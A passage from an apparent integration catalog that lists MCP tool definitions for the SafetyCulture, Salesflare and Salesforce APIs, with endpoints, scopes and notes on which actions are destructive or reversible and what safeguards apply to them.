safetyculture_post_users_v1_fields_by_id_disable (write) — Disable field via POST /users/v1/fields/{id}/disable POST /api/v1/safetyculture/users/v1/fields/{id}/disable. Scopes: none. safetyculture_post_users_v1_fields_by_id_restore (write) — Restore field via POST /users/v1/fields/{id}/restore POST /api/v1/safetyculture/users/v1/fields/{id}/restore. Scopes: none. safetyculture_post_users_v1_fields_by_id_settings (write) — Set field settings via POST /users/v1/fields/{id}/settings POST /api/v1/safetyculture/users/v1/fields/{id}/settings. Scopes: none. safetyculture_post_users_v1_fields_list (read) — List fields (User fields) via POST /users/v1/fields/list POST /api/v1/safetyculture/users/v1/fields/list. Scopes: none. safetyculture_post_users_v1_users_by_user_id_attributes (write) — Set user attributes via POST /users/v1/users/{user_id}/attributes POST /api/v1/safetyculture/users/v1/users/{user_id}/attributes. Scopes: none. safetyculture_post_users_v1_users_list (read) — List users via POST /users/v1/users/list POST /api/v1/safetyculture/users/v1/users/list. Scopes: none. safetyculture_post_users_v1_users_upsert (write) — Create or update users via POST /users/v1/users/upsert POST /api/v1/safetyculture/users/v1/users/upsert. Scopes: none. safetyculture_post_users_v1_users_upsert_jobs (write) — Init create or update users job via POST /users/v1/users/upsert/jobs POST /api/v1/safetyculture/users/v1/users/upsert/jobs. Scopes: none. safetyculture_post_users_v1_users_upsert_jobs_by_job_id (write) — Start create or update users job via POST /users/v1/users/upsert/jobs/{job_id} POST /api/v1/safetyculture/users/v1/users/upsert/jobs/{job_id}. Scopes: none. safetyculture_post_users_v1_users_upsert_jobs_list (read) — List create or update users jobs via POST /users/v1/users/upsert/jobs/list POST /api/v1/safetyculture/users/v1/users/upsert/jobs/list. Scopes: none. safetyculture_post_webhooks_v1_token (write) — Generate token via POST /webhooks/v1/token POST /api/v1/safetyculture/webhooks/v1/token. Scopes: none. safetyculture_post_webhooks_v1_webhooks (write) — Create webhook via POST /webhooks/v1/webhooks POST /api/v1/safetyculture/webhooks/v1/webhooks. Scopes: none. safetyculture_put_assets_v1_assets_bulk (write) — Bulk update assets via PUT /assets/v1/assets/bulk PUT /api/v1/safetyculture/assets/v1/assets/bulk. Scopes: none. safetyculture_put_assets_v1_maintenance_plan_by_plan_id (write) — Update plan via PUT /assets/v1/maintenance/plan/{plan.id} PUT /api/v1/safetyculture/assets/v1/maintenance/plan/{plan_id}. Scopes: none. safetyculture_put_assets_v1_maintenance_program_by_program_id (write) — Update program via PUT /assets/v1/maintenance/program/{program.id} PUT /api/v1/safetyculture/assets/v1/maintenance/program/{program_id}. Scopes: none. safetyculture_put_assets_v1_types_by_type_id_fields (write) — Update type fields via PUT /assets/v1/types/{type_id}/fields PUT /api/v1/safetyculture/assets/v1/types/{type_id}/fields. Scopes: none. safetyculture_put_companies_v1_company (write) — Update contractor company via PUT /companies/v1/company PUT /api/v1/safetyculture/companies/v1/company. Scopes: none. safetyculture_put_credentials_v1_credential_type (write) — Update document type via PUT /credentials/v1/credential-type PUT /api/v1/safetyculture/credentials/v1/credential-type. Scopes: none. safetyculture_put_credentials_v1_credential_version (write) — Update document version for user via PUT /credentials/v1/credential/version PUT /api/v1/safetyculture/credentials/v1/credential/version. Scopes: none. safetyculture_put_credentials_v1_settings (write) — Update settings via PUT /credentials/v1/settings PUT /api/v1/safetyculture/credentials/v1/settings. Scopes: none. safetyculture_put_incidents_v1_categories_by_category_id (write) — Update category (Investigations) via PUT /incidents/v1/categories/{category_id} PUT /api/v1/safetyculture/incidents/v1/categories/{category_id}. Scopes: none. safetyculture_put_incidents_v1_categories_by_category_id_detail_fields (write) — Set category detail fields via PUT /incidents/v1/categories/{category_id}/detail-fields PUT /api/v1/safetyculture/incidents/v1/categories/{category_id}/detail-fields. Scopes: none. safetyculture_put_incidents_v1_detail_fields_by_field_id (write) — Rename detail field via PUT /incidents/v1/detail-fields/{field_id} PUT /api/v1/safetyculture/incidents/v1/detail-fields/{field_id}. Scopes: none. safetyculture_put_incidents_v1_detail_fields_by_field_id_options (write) — Set detail field options via PUT /incidents/v1/detail-fields/{field_id}/options PUT /api/v1/safetyculture/incidents/v1/detail-fields/{field_id}/options. Scopes: none. safetyculture_put_incidents_v1_fields (write) — Update fields via PUT /incidents/v1/fields PUT /api/v1/safetyculture/incidents/v1/fields. Scopes: none. safetyculture_put_incidents_v1_investigations (write) — Update investigations via PUT /incidents/v1/investigations PUT /api/v1/safetyculture/incidents/v1/investigations. Scopes: none. safetyculture_put_incidents_v1_investigations_by_investigation_id (write) — Update investigation via PUT /incidents/v1/investigations/{investigation_id} PUT /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}. Scopes: none. safetyculture_put_incidents_v1_investigations_by_investigation_id_access (write) — Update investigation access via PUT /incidents/v1/investigations/{investigation_id}/access PUT /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/access. Scopes: none. safetyculture_put_incidents_v1_osha_cases_by_case_case_id (write) — Update case via PUT /incidents/v1/osha/cases/{case.case_id} PUT /api/v1/safetyculture/incidents/v1/osha/cases/{case_case_id}. Scopes: none. safetyculture_put_incidents_v1_osha_establishments_by_establishment_establishment_id (write) — Update establishment via PUT /incidents/v1/osha/establishments/{establishment.establishment_id} PUT /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_establishment_id}. Scopes: none. safetyculture_put_incidents_v1_statuses (write) — Update statuses via PUT /incidents/v1/statuses PUT /api/v1/safetyculture/incidents/v1/statuses. Scopes: none. safetyculture_put_inspections_integration_v1_inspections_by_inspection_id (write) — Update inspection via PUT /inspections/integration/v1/inspections/{inspection_id} PUT /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}. Scopes: none. safetyculture_put_inspections_integration_v1_inspections_by_inspection_id_access (write) — Set inspection access via PUT /inspections/integration/v1/inspections/{inspection_id}/access PUT /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/access. Scopes: none. safetyculture_put_inspections_integration_v1_inspections_by_inspection_id_tables_by_item_id_lines_by_line_id (write) — Update table line via PUT /inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines/{line_id} PUT /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines/{line_id}. Scopes: none. safetyculture_put_inspections_v1_inspections_by_inspection_id_location (write) — Set inspection location via PUT /inspections/v1/inspections/{inspection_id}/location PUT /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/location. Scopes: none. safetyculture_put_inspections_v1_inspections_by_inspection_id_owner (write) — Set owner via PUT /inspections/v1/inspections/{inspection_id}/owner PUT /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/owner. Scopes: none. safetyculture_put_inspections_v1_inspections_by_inspection_id_questions_by_question_id_asset (write) — Answer asset via PUT /inspections/v1/inspections/{inspection_id}/questions/{question_id}/asset PUT /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/questions/{question_id}/asset. Scopes: none. safetyculture_put_inspections_v1_inspections_by_inspection_id_questions_by_question_id_checkbox (write) — Answer checkbox via PUT /inspections/v1/inspections/{inspection_id}/questions/{question_id}/checkbox PUT /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/questions/{question_id}/checkbox. Scopes: none. safetyculture_put_inspections_v1_inspections_by_inspection_id_site (write) — Set inspection site via PUT /inspections/v1/inspections/{inspection_id}/site PUT /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/site. Scopes: none. safetyculture_put_integrations_v1_apps_by_app_id (write) — Update application via PUT /integrations/v1/apps/{app_id} PUT /api/v1/safetyculture/integrations/v1/apps/{app_id}. Scopes: none. safetyculture_put_integrations_v1_apps_by_app_id_installations_by_installation_id_configurations_by_configuration_id (write) — Update configuration via PUT /integrations/v1/apps/{app_id}/installations/{installation_id}/configurations/{configuration_id} PUT /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations/{installation_id}/configurations/{configuration_id}. Scopes: none. safetyculture_put_response_sets_by_id (write) — Update global response set via PUT /response_sets/{id} PUT /api/v1/safetyculture/response_sets/{id}. Scopes: none. safetyculture_put_response_sets_by_id_responses_by_response_id (write) — Update GRS response via PUT /response_sets/{id}/responses/{response_id} PUT /api/v1/safetyculture/response_sets/{id}/responses/{response_id}. Scopes: none. safetyculture_put_schedules_v1_schedule_items_by_id (write) — Update schedule item via PUT /schedules/v1/schedule_items/{id} PUT /api/v1/safetyculture/schedules/v1/schedule_items/{id}. Scopes: none. safetyculture_put_structures_v1_structures_by_structure_id (write) — Update structure via PUT /structures/v1/structures/{structure_id} PUT /api/v1/safetyculture/structures/v1/structures/{structure_id}. Scopes: none. safetyculture_put_tasks_v1_actions_by_action_id_label (write) — Update action labels via PUT /tasks/v1/actions/{action_id}/label PUT /api/v1/safetyculture/tasks/v1/actions/{action_id}/label. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_asset (write) — Update asset (Actions) via PUT /tasks/v1/actions/{task_id}/asset PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/asset. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_assignees (write) — Update assignees via PUT /tasks/v1/actions/{task_id}/assignees PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/assignees. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_description (write) — Update description (Actions) via PUT /tasks/v1/actions/{task_id}/description PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/description. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_due_at (write) — Update due at (Actions) via PUT /tasks/v1/actions/{task_id}/due_at PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/due_at. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_priority (write) — Update priority (Actions) via PUT /tasks/v1/actions/{task_id}/priority PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/priority. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_site (write) — Update site (Actions) via PUT /tasks/v1/actions/{task_id}/site PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/site. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_status (write) — Update status (Actions) via PUT /tasks/v1/actions/{task_id}/status PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/status. Scopes: none. safetyculture_put_tasks_v1_actions_by_task_id_title (write) — Update title (Actions) via PUT /tasks/v1/actions/{task_id}/title PUT /api/v1/safetyculture/tasks/v1/actions/{task_id}/title. Scopes: none. safetyculture_put_tasks_v1_customer_configuration_action_labels_upsert (write) — Upsert action label via PUT /tasks/v1/customer_configuration/action_labels/upsert PUT /api/v1/safetyculture/tasks/v1/customer_configuration/action_labels/upsert. Scopes: none. safetyculture_put_tasks_v1_customer_configuration_by_type_id_custom_field_by_field_id (write) — Map field to task type via PUT /tasks/v1/customer_configuration/{type_id}/custom_field/{field_id} PUT /api/v1/safetyculture/tasks/v1/customer_configuration/{type_id}/custom_field/{field_id}. Scopes: none. safetyculture_put_tasks_v1_customer_configuration_custom_field_by_id (write) — Rename custom field via PUT /tasks/v1/customer_configuration/custom_field/{id} PUT /api/v1/safetyculture/tasks/v1/customer_configuration/custom_field/{id}. Scopes: none. safetyculture_put_tasks_v1_customer_configuration_task_type_by_id (write) — Rename task type via PUT /tasks/v1/customer_configuration/task_type/{id} PUT /api/v1/safetyculture/tasks/v1/customer_configuration/task_type/{id}. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_asset (write) — Update asset (Incidents) via PUT /tasks/v1/incidents/{task_id}/asset PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/asset. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_category (write) — Update category (Incidents) via PUT /tasks/v1/incidents/{task_id}/category PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/category. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_description (write) — Update description (Incidents) via PUT /tasks/v1/incidents/{task_id}/description PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/description. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_due_at (write) — Update due at (Incidents) via PUT /tasks/v1/incidents/{task_id}/due_at PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/due_at. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_occurred_at (write) — Update occurred at via PUT /tasks/v1/incidents/{task_id}/occurred_at PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/occurred_at. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_priority (write) — Update priority (Incidents) via PUT /tasks/v1/incidents/{task_id}/priority PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/priority. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_site (write) — Update site (Incidents) via PUT /tasks/v1/incidents/{task_id}/site PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/site. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_status (write) — Update status (Incidents) via PUT /tasks/v1/incidents/{task_id}/status PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/status. Scopes: none. safetyculture_put_tasks_v1_incidents_by_task_id_title (write) — Update title (Incidents) via PUT /tasks/v1/incidents/{task_id}/title PUT /api/v1/safetyculture/tasks/v1/incidents/{task_id}/title. Scopes: none. safetyculture_put_tasks_v1_tasks_by_task_id_custom_field (write) — Update task custom field via PUT /tasks/v1/tasks/{task_id}/custom_field PUT /api/v1/safetyculture/tasks/v1/tasks/{task_id}/custom_field. Scopes: none. safetyculture_put_training_courses_v1_by_courseid_assignments (write) — Update course assignments via PUT /training/courses/v1/{courseId}/assignments PUT /api/v1/safetyculture/training/courses/v1/{courseId}/assignments. Scopes: none. safetyculture_put_webhooks_v1_webhooks_by_webhook_id (write) — Update webhook via PUT /webhooks/v1/webhooks/{webhook_id} PUT /api/v1/safetyculture/webhooks/v1/webhooks/{webhook_id}. Scopes: none. ================================================================================ ## Salesflare URL: https://www.agenticfabriq.com/integrations/salesflare Section: Integrated Tools Salesflare — 71 MCP tools Provider key: salesflare. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. salesflare_delete_accounts_by_account_id (write, destructive) — Delete an account DELETE /api/v1/salesflare/accounts/{account_id}. Scopes: api. salesflare_delete_contacts_by_contact_id (write, destructive) — Delete a contact DELETE /api/v1/salesflare/contacts/{contact_id}. Scopes: api. salesflare_delete_customfields_by_itemclass_by_id (write, destructive) — Delete a custom field DELETE /api/v1/salesflare/customfields/{itemClass}/{id}. Scopes: api. salesflare_delete_meetings_by_meeting_id (write, destructive) — Delete a meeting DELETE /api/v1/salesflare/meetings/{meeting_id}. Scopes: api. salesflare_delete_messages_by_message_id (write, destructive) — Delete an internal note DELETE /api/v1/salesflare/messages/{message_id}. Scopes: api. salesflare_delete_opportunities_by_id (write, destructive) — Delete an opportunity DELETE /api/v1/salesflare/opportunities/{id}. Scopes: api. salesflare_delete_tags_by_tag_id (write, destructive) — Delete a tag DELETE /api/v1/salesflare/tags/{tag_id}. Scopes: api. salesflare_delete_tasks_by_id (write, destructive) — Delete a task DELETE /api/v1/salesflare/tasks/{id}. Scopes: api. salesflare_get_accounts (read) — Request a list of accounts with optional filters and pagination GET /api/v1/salesflare/accounts. Scopes: api. salesflare_get_accounts_by_account_id (read) — Get account details GET /api/v1/salesflare/accounts/{account_id}. Scopes: api. salesflare_get_accounts_by_account_id_feed (read) — Get an account's feed which includes emails, messages, meetings, and other activities GET /api/v1/salesflare/accounts/{account_id}/feed. Scopes: api. salesflare_get_accounts_by_account_id_messages (read) — List an account's messages GET /api/v1/salesflare/accounts/{account_id}/messages. Scopes: api. salesflare_get_campaigns_mergefields (read) — Note that this route is currently still under `/campaigns` but might be moved in the future. GET /api/v1/salesflare/campaigns/mergefields. Scopes: api. salesflare_get_contacts (read) — Request a list of contacts with optional filters and pagination GET /api/v1/salesflare/contacts. Scopes: api. salesflare_get_contacts_by_contact_id (read) — Get contact details GET /api/v1/salesflare/contacts/{contact_id}. Scopes: api. salesflare_get_currencies (read) — List supported currencies GET /api/v1/salesflare/currencies. Scopes: api. salesflare_get_customfields_by_itemclass (read) — List custom fields of a type GET /api/v1/salesflare/customfields/{itemClass}. Scopes: api. salesflare_get_customfields_by_itemclass_by_customfieldapifield_options (read) — List a custom field's options GET /api/v1/salesflare/customfields/{itemClass}/{customFieldApiField}/options. Scopes: api. salesflare_get_customfields_by_itemclass_by_id (read) — Get custom field details GET /api/v1/salesflare/customfields/{itemClass}/{id}. Scopes: api. salesflare_get_customfields_types (read) — List custom field types GET /api/v1/salesflare/customfields/types. Scopes: api. salesflare_get_datasources_email (read) — List email data sources GET /api/v1/salesflare/datasources/email. Scopes: api. salesflare_get_filterfields_by_entity (read) — List filter fields for an entity GET /api/v1/salesflare/filterfields/{entity}. Scopes: api. salesflare_get_groups (read) — List groups GET /api/v1/salesflare/groups. Scopes: api. salesflare_get_groups_by_id (read) — Get a group GET /api/v1/salesflare/groups/{id}. Scopes: api. salesflare_get_me (read) — Get current user's details GET /api/v1/salesflare/me. Scopes: api. salesflare_get_me_contacts (read) — List current user's contacts GET /api/v1/salesflare/me/contacts. Scopes: api. salesflare_get_meetings_by_meeting_id (read) — Get meeting details GET /api/v1/salesflare/meetings/{meeting_id}. Scopes: api. salesflare_get_opportunities (read) — Request a list of opportunities with optional filters and pagination<br/><br/>default date filter (from/to) is on close_date<br/><br/>setting scope to user gives back all opportunities from the user GET /api/v1/salesflare/opportunities. Scopes: api. salesflare_get_opportunities_by_id (read) — Get opportunity details GET /api/v1/salesflare/opportunities/{id}. Scopes: api. salesflare_get_persons (read) — List persons GET /api/v1/salesflare/persons. Scopes: api. salesflare_get_pipelines (read) — Request a list of pipelines with optional filters and pagination GET /api/v1/salesflare/pipelines. Scopes: api. salesflare_get_settings_ai (read) — Get AI Settings GET /api/v1/salesflare/settings/ai. Scopes: api. salesflare_get_stages (read) — List stages GET /api/v1/salesflare/stages. Scopes: api. salesflare_get_stages_by_stage_id (read) — Get stage details GET /api/v1/salesflare/stages/{stage_id}. Scopes: api. salesflare_get_tags (read) — Request a list of tags with optional filters and pagination GET /api/v1/salesflare/tags. Scopes: api. salesflare_get_tags_by_tag_id (read) — Get tag details GET /api/v1/salesflare/tags/{tag_id}. Scopes: api. salesflare_get_tags_by_tag_id_usage (read) — Get tag details on usage in workflows, saved filters & reports GET /api/v1/salesflare/tags/{tag_id}/usage. Scopes: api. salesflare_get_tasks (read) — Request a list of tasks with optional filters and pagination GET /api/v1/salesflare/tasks. Scopes: api. salesflare_get_users (read) — Request a list of users with optional filters and pagination GET /api/v1/salesflare/users. Scopes: api. salesflare_get_users_by_id (read) — Get user details GET /api/v1/salesflare/users/{id}. Scopes: api. salesflare_get_workflows (read) — List workflows GET /api/v1/salesflare/workflows. Scopes: api. salesflare_get_workflows_by_id (read) — Get workflow details GET /api/v1/salesflare/workflows/{id}. Scopes: api. salesflare_post_accounts (write) — Create an account POST /api/v1/salesflare/accounts. Scopes: api. salesflare_post_accounts_by_account_id_contacts (write) — Update an account's contacts POST /api/v1/salesflare/accounts/{account_id}/contacts. Scopes: api. salesflare_post_accounts_by_account_id_users (write) — Update an account's users POST /api/v1/salesflare/accounts/{account_id}/users. Scopes: api. salesflare_post_calls (write) — Create a call POST /api/v1/salesflare/calls. Scopes: api. salesflare_post_contacts (write) — Create a contact. When payload is an array you will get an array back, if just an object or an array with 1 item you get an object back. POST /api/v1/salesflare/contacts. Scopes: api. salesflare_post_customfields_by_itemclass (write) — Create a custom field of a type POST /api/v1/salesflare/customfields/{itemClass}. Scopes: api. salesflare_post_meetings (write) — Create a meeting POST /api/v1/salesflare/meetings. Scopes: api. salesflare_post_message_by_message_id_feedback (write) — Create an internal note POST /api/v1/salesflare/message/{message_id}/feedback. Scopes: api. salesflare_post_messages (write) — Create an internal note POST /api/v1/salesflare/messages. Scopes: api. salesflare_post_messages_by_message_id_feedback (write) — Create an internal note POST /api/v1/salesflare/messages/{message_id}/feedback. Scopes: api. salesflare_post_opportunities (write) — Create an opportunity POST /api/v1/salesflare/opportunities. Scopes: api. salesflare_post_tags (write) — Create a tag POST /api/v1/salesflare/tags. Scopes: api. salesflare_post_tasks (write) — Create a task POST /api/v1/salesflare/tasks. Scopes: api. salesflare_post_workflows (write) — Create a workflow POST /api/v1/salesflare/workflows. Scopes: api. salesflare_put_accounts_by_account_id (write) — Update an account PUT /api/v1/salesflare/accounts/{account_id}. Scopes: api. salesflare_put_accounts_by_account_id_contacts (write) — Update an account's contacts PUT /api/v1/salesflare/accounts/{account_id}/contacts. Scopes: api. salesflare_put_accounts_by_account_id_users (write) — Update an account's users PUT /api/v1/salesflare/accounts/{account_id}/users. Scopes: api. salesflare_put_calls_by_meeting_id (write) — Update a call PUT /api/v1/salesflare/calls/{meeting_id}. Scopes: api. salesflare_put_contacts_by_contact_id (write) — Update a contact PUT /api/v1/salesflare/contacts/{contact_id}. Scopes: api. salesflare_put_customfields_by_itemclass_by_id (write) — Update a custom field PUT /api/v1/salesflare/customfields/{itemClass}/{id}. Scopes: api. salesflare_put_datasources_email_by_id (write) — Update an email data source PUT /api/v1/salesflare/datasources/email/{id}. Scopes: api. salesflare_put_meetings_by_meeting_id (write) — Update a meeting PUT /api/v1/salesflare/meetings/{meeting_id}. Scopes: api. salesflare_put_messages_by_message_id (write) — Update an internal note PUT /api/v1/salesflare/messages/{message_id}. Scopes: api. salesflare_put_opportunities_by_id (write) — Update an opportunity PUT /api/v1/salesflare/opportunities/{id}. Scopes: api. salesflare_put_settings_ai (write) — Update AI Settings PUT /api/v1/salesflare/settings/ai. Scopes: api. salesflare_put_tags_by_tag_id (write) — Update a tag PUT /api/v1/salesflare/tags/{tag_id}. Scopes: api. salesflare_put_tasks_by_id (write) — Update a task PUT /api/v1/salesflare/tasks/{id}. Scopes: api. salesflare_put_workflows_by_id (write) — Update a workflow PUT /api/v1/salesflare/workflows/{id}. Scopes: api. salesflare_put_workflows_by_id_audience_by_record_id (write) — Re-enter or exit an entity from a workflow PUT /api/v1/salesflare/workflows/{id}/audience/{record_id}. Scopes: api. ================================================================================ ## Salesforce URL: https://www.agenticfabriq.com/integrations/salesforce Section: Integrated Tools Salesforce — 137 MCP tools Provider key: salesforce. Scopes: api. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. salesforce_add_favorite (write) — Add a record, list view or report to the connected user's own favorites. It changes a personal navigation shortcut and no business data, and it is fully reversible by the action that removes one, which is granted separately and ships alongside it. POST /api/v1/tools/salesforce/ui/favorites. Scopes: api. salesforce_advanced_parameterized_search (read) — Search across objects with a separate field list, filter, sort and limit FOR EACH OBJECT — 'find Acme, returning the account's owner and the five most recent open cases' is one call here and three otherwise. The richer form of the parameter search, which applies one field list and one limit to everything it searches. Read-only: the per-object filter is a query fragment and the query language Salesforce uses for it cannot insert, update or delete. POST /api/v1/tools/salesforce/parameterized-search. Scopes: api. salesforce_apply_assignment_rules (write) — Ask Salesforce to run YOUR OWN assignment rules over one Lead or Case and route it to the owner those rules choose. Routing a lead is the most common thing an automation does after creating one, and until now an agent could only set the owner to an id it had chosen ITSELF — which is the agent substituting its judgement for your routing policy. This asks the organisation instead. It is a write and it goes through the same sObject deny-list every other write does. Restricted to Lead and Case because Salesforce silently IGNORES the request on any other object, and an action that silently does nothing is worse than one that refuses. Reversible: the previous owner is on the record and the update action sets it back. It may fire your org's own assignment notification email, which is your configured behaviour rather than a message Agentic Fabriq composes. PATCH /api/v1/tools/salesforce/record/assignment-rules. Scopes: api. salesforce_clone_report (write) — Copy an existing report into a new one, leaving the original completely untouched. This is the SAFE way to change a report and the reason it is granted separately from rewriting one: an agent asked to 'adjust the pipeline report to exclude renewals' should clone and edit the clone, so the report the organisation actually reads keeps answering the question it always answered. It is also the inverse pair of deleting a report. POST /api/v1/tools/salesforce/report/clone. Scopes: api. salesforce_create_record (write) — Create one Salesforce record. Nothing existing is overwritten and the record can be deleted afterwards, so this is not marked destructive — but it is not free of consequences: Salesforce runs validation rules, assignment rules, workflow, flows and Apex triggers on insert, so creating a Case or a Lead can send email to a real person the moment it exists. Run salesforce_describe_sobject first; required fields and picklist values differ per org. Identity and org-configuration objects (User, Profile, PermissionSet and the like) cannot be created through Agentic Fabriq. POST /api/v1/tools/salesforce/record. Scopes: api. salesforce_create_record_tree (write) — Create a parent record together with its child records in one call — an account with its contacts, an opportunity with its line items — up to 200 records in total across a maximum of five levels and five object types. Salesforce rolls the entire tree back if any part of it fails; there is no partial mode. Nothing existing is overwritten, so this is not marked destructive. Every object named anywhere in the tree is checked against the same restrictions as a single create: identity, access-control and org-configuration objects cannot be created at any level, not just at the top. POST /api/v1/tools/salesforce/record/tree. Scopes: api. salesforce_create_records (write) — Create up to 200 records on one object in a single call. This closes an asymmetry that was backwards on safety: Agentic Fabriq previously shipped the batched UPDATE — which overwrites — and not the batched create, so importing 200 leads cost 200 separate requests against the org's shared 24-hour allocation. Nothing existing is overwritten and every created record can be deleted, so this is not marked destructive; it is not free of consequences, because Salesforce runs validation rules, assignment rules, workflow, flows and Apex triggers on each insert, so 200 new Cases can send 200 emails to real people. The whole batch rolls back if any record fails unless that is explicitly disabled. POST /api/v1/tools/salesforce/records. Scopes: api. salesforce_delete_favorite (write) — Remove one favorite from the connected user's list. NOT marked destructive, and that is a deliberate distinction rather than an oversight: every other delete in this connector removes something only the Recycle Bin can return, and this removes a personal navigation shortcut that the add action puts straight back. POST /api/v1/tools/salesforce/ui/favorites/delete. Scopes: api. salesforce_delete_record (write, destructive) — DESTRUCTIVE — delete one Salesforce record. It goes to the org's Recycle Bin and can be restored for 15 days ONLY if the bin has not been emptied and the org has not exceeded its bin capacity, after which Salesforce purges it automatically. Deleting a parent also cascades to children configured for cascade delete, so one call can remove records you never named. There is no undo beyond the bin. Salesforce uses the same permission for reading and deleting, so granting this action separately is the only separation Agentic Fabriq can offer. DELETE /api/v1/tools/salesforce/record. Scopes: api. salesforce_delete_record_by_external_id (write, destructive) — DESTRUCTIVE — delete one record identified by the id it carries in ANOTHER system rather than by its Salesforce id, matched on a field marked External ID. Completes the external-id set: reading and creating-or-updating by external id already existed and deleting did not, so a caller holding only the external key had to look the record up first and then delete it by a different identifier. The record goes to the org's Recycle Bin and can be restored for 15 days ONLY if the bin has not been emptied and the org has not exceeded its capacity. Deleting a parent also cascades to children configured for cascade delete, so one call can remove records you never named. This action requires an explicit confirmation argument in addition to being granted, because the record is addressed by a key that is not a Salesforce id and cannot be checked by eye. POST /api/v1/tools/salesforce/record/external-id/delete. Scopes: api. salesforce_delete_records (write, destructive) — DESTRUCTIVE — delete up to 200 records in one call. They go to the org's Recycle Bin and can be restored for 15 days ONLY if the bin has not been emptied and the org has not exceeded its capacity, after which Salesforce purges them. Deleting a parent also cascades to children configured for cascade delete, so one call can remove records you never named — 200 times over. This action requires the object name even though Salesforce's own endpoint does not: a batch delete identifies records by id alone, and without the object name Agentic Fabriq could not tell an account batch from a user batch. Every id is verified against that object before anything is deleted. POST /api/v1/tools/salesforce/records/delete. Scopes: api. salesforce_delete_report (write, destructive) — DESTRUCTIVE — delete a saved report. The report goes to the Recycle Bin, but every dashboard component built on it breaks immediately and the people who read those dashboards find out when the dashboard is empty. Nothing in Agentic Fabriq can tell you in advance which dashboards those are. This action requires an explicit confirmation argument in addition to being granted. POST /api/v1/tools/salesforce/report/delete. Scopes: api. salesforce_describe_dashboard (read) — Return one dashboard's metadata: its components, filters and layout, and which report backs each component. Read-only. GET /api/v1/tools/salesforce/dashboard/describe. Scopes: api. salesforce_describe_layout (read) — Return the page layouts the org actually puts in front of humans — the full layout, the compact highlights panel, approval layouts, or a specific named layout. Describing an object tells you what fields it HAS; this tells you which of them the org considers worth showing, which is a much better default field set for a summary than 'every column'. GET /api/v1/tools/salesforce/sobject/layouts. Scopes: api. salesforce_describe_listview (read) — Return one list view's columns, filters and the query Salesforce runs for it. The query is the useful part: an agent can read the org's own definition of 'at risk' and then extend it in a SOQL query, rather than guessing at what the label means. GET /api/v1/tools/salesforce/listview/describe. Scopes: api. salesforce_describe_quick_action (read) — Return one quick action's layout, target object and fields. Read-only, for the same reason as listing them. GET /api/v1/tools/salesforce/quick-action/describe. Scopes: api. salesforce_describe_report (read) — Return one report's columns, groupings and filters. This is what makes a report's output interpretable: a report result is a nested fact map keyed by column and grouping identifiers that mean nothing without this. GET /api/v1/tools/salesforce/report/describe. Scopes: api. salesforce_describe_sobject (read) — Return one Salesforce object's fields with their API names, types, lengths, picklist values, and whether each is required, createable or updateable. RUN THIS BEFORE ANY WRITE: field API names differ from their labels, required fields and picklist values differ per org, and guessing produces an error that has already consumed one of the org's API requests. GET /api/v1/tools/salesforce/sobject/describe. Scopes: api. salesforce_describe_tooling_sobject (read) — Return one Tooling object type's fields. A describe returns the SHAPE of a type and never a stored value, which is why it is available for every Tooling type including the ones whose records cannot be read. GET /api/v1/tools/salesforce/tooling/sobjects/describe. Scopes: api. salesforce_find_duplicates (read) — Ask Salesforce whether a record you are about to create already exists, using the org's OWN duplicate rules. It creates nothing and changes nothing. This is the missing precondition for creating records in bulk, which is the most common CRM agent task 